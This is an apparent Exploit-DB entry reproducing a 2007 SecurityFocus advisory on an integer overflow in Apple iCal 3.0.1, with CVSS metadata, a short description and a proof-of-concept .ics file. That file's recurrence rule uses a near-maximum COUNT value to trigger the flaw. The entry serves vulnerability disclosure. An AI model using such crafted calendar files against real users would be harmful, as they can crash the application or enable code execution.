Apple iCal Integer-Overflow Vulnerability

vendor:

iCal

by:

SecurityFocus

7.5

CVSS

HIGH

Integer-Overflow

190

CWE

Product Name: iCal

Affected Version From: iCal 3.0.1

Affected Version To: iCal 3.0.1

Patch Exists: YES

Related CWE: N/A

CPE: apple:ical

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Mac OS X 10.5.1

2007

Apple iCal Integer-Overflow Vulnerability

Apple iCal is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun. An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Mitigation:

Ensure that integer values are not overrun.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/28629/info

Apple iCal is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects iCal 3.0.1 running on Mac OS X 10.5.1; previous versions may also be affected. 

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X-WR-TIMEZONE:America/Buenos_Aires
PRODID:-//Apple Inc.//iCal 3.0//EN
CALSCALE:GREGORIAN
X-WR-CALNAME: Vulnerable
VERSION:2.0
X-WR-RELCALID:10DE4203-4FA5-4E23-AE4D-9DAE3157C9E5
METHOD:PUBLISH
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TZID:America/Buenos_Aires
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TZNAME:ARST
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BEGIN:STANDARD
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TZNAME:ART
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END:VTIMEZONE
BEGIN:VEVENT
SEQUENCE:4
DTSTART;TZID=America/Buenos_Aires:20071225T110000
DURATION:PT1H
UID:48878014-5F03-43E5-8639-61E708714F9A
DTSTAMP:20071213T130632Z
SUMMARY:Vuln
CREATED:20071213T130611Z
RRULE:FREQ=DAILY;INTERVAL=1;COUNT=2147483646
END:VEVENT
END:VCALENDAR